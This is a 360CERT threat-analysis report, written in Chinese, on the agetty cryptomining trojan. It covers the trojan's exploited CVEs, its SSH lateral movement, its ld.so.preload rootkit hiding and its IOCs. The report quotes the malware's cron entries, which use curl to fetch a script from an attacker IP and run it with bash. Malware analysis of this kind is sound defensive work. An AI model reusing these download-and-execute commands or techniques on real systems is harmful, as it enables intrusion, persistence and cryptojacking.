挖矿木马 agetty 来袭
- 报告编号：B6-2021-121601
- 报告来源：360CERT
- 报告作者：360CERT
- 更新日期：2021-12-16
木马简述
近期 360 安全大脑监测到一款名为 agetty 的挖矿木马，利用 GitLab 远程命令执行漏洞(CVE-2021-22205)等进行攻击，入侵后通过 SSH 连接进行横向移动，同时添加恶意计划任务，并隐藏挖矿进程，最终投递 xmrig 挖矿程序进行牟利。
分析木马内容
agetty 的挖矿木马利用以下漏洞进行攻击：
| 序号 | 漏洞名称 | 漏洞编号 |
|---|---|---|
| 1 | Atlassian Confluence远程代码执行漏洞 | CVE-2021-26084 |
| 2 | GitLab ExifTool远程命令执行漏洞 | CVE-2021-22205 |
| 3 | WebLogic远程代码执行漏洞 | CVE-2020-14882 |
成功利用后从http://111.85.159.55:9091/view/userBehavior/.reporter/1.sh
下载恶意脚本1.sh并执行。
1.脚本首先清除各类竞品挖矿木马家族。
2.随后将定时下载执行1.sh恶意脚本写入计划任务。
3.同时在设备上查找 config.json 挖矿配置文件，将其中的用户名替换为 agetty 木马自己的钱包地址，以期将他人的挖矿收益据为己有。
4.根据系统位数分别下载木马文件保存至 /tmp/.gvfsd-metadata、/tmp/.seapplet 并执行。
agetty 挖矿木马还会在/.ssh/config、.bash_history、/.ssh/known_hosts 等文件中搜索 SSH 凭证进行横向移动。
同时将木马内嵌的恶意 so 文件释放到 /usr/local/lib/v.so，通过 /etc/ld.so.preload 的方式进行预加载。将定时任务
0 */5 * * * curl -fsSL -k http://111.85.159.55:9091/view/userBehavior/.reporter/1.sh -O /tmp/1.sh \\n
写入到/etc/cron.d/root文件；
将定时任务
0 */5 * * * curl -fsSL -k http://111.85.159.55:9091/view/userBehavior/.reporter/1.sh -O /tmp/1.sh;bash /tmp/1.sh\\n
写入到 /var/spool/cron/root、/var/spool/cron/crontabs/root 文件。
此外，/usr/local/lib/v.so 还 hook 了 fopen、fopen64、lstat、open、readdir、rmdir、unlink、unlinkat 等等函数，过滤掉其中包含的 .mate-terminal、ld.so.preload、v.so 信息，实现隐藏自身的目的。
根据 agetty 木马的钱包地址，我们还关联到另一样本 0978fcab87c342330b7d34e6b8709124，xmrig 矿机与 config.json 配置文件分别托管在：
https://test123123123fdsafds.coding.net/p/test/d/test/git/raw/master/agetty
https://test123123123fdsafds.coding.net/p/test/d/test/git/raw/master/config.json
该钱包目前在不同矿池的算力和收益图分别如下：
关联分析
经过分析，agetty木马的恶意脚本1.sh，与友商曾经报告的MimuMiner木马的shell脚本在部分内容上具有较高的相似度。背后团伙可能存在一定关联。
左边为agetty木马的脚本内容，右边为MimuMiner脚本。 
IOC
MD5：
MD5 描述 9f15f94ebcaa432b55f743509253add9 木马模块 43cbd69a5bbea0bf01abd54628a75d2b 木马模块 ab6faf8b842bd7daab61a9cb35dc9110 1.sh 6a3b0ecfded0a99ef78b35df2e61da9d 64.tar.gz 47cabcf25234fa9ee1659b6dfe939aed 86.tar.gz 0978fcab87c342330b7d34e6b8709124 木马模块 217c5e889c058c3ec7a261a654f39a0c agetty(XMRig 6.15.2) 0ac5c93ba9d7e1a1a35775aa639fdb08 config.json
矿池：
钱包地址：
87EjF5M4uFCSQ2bHngLNTPgGA31aNjYvQbHvWpDkJvkYA4Zja5PG9Tdbe2TXDfEhPkD9Erh6mRW1cffw5UEbdhSpCSy1sVC
时间线
2021-12-16 : 360 高级威胁研究分析中心发布分析报告
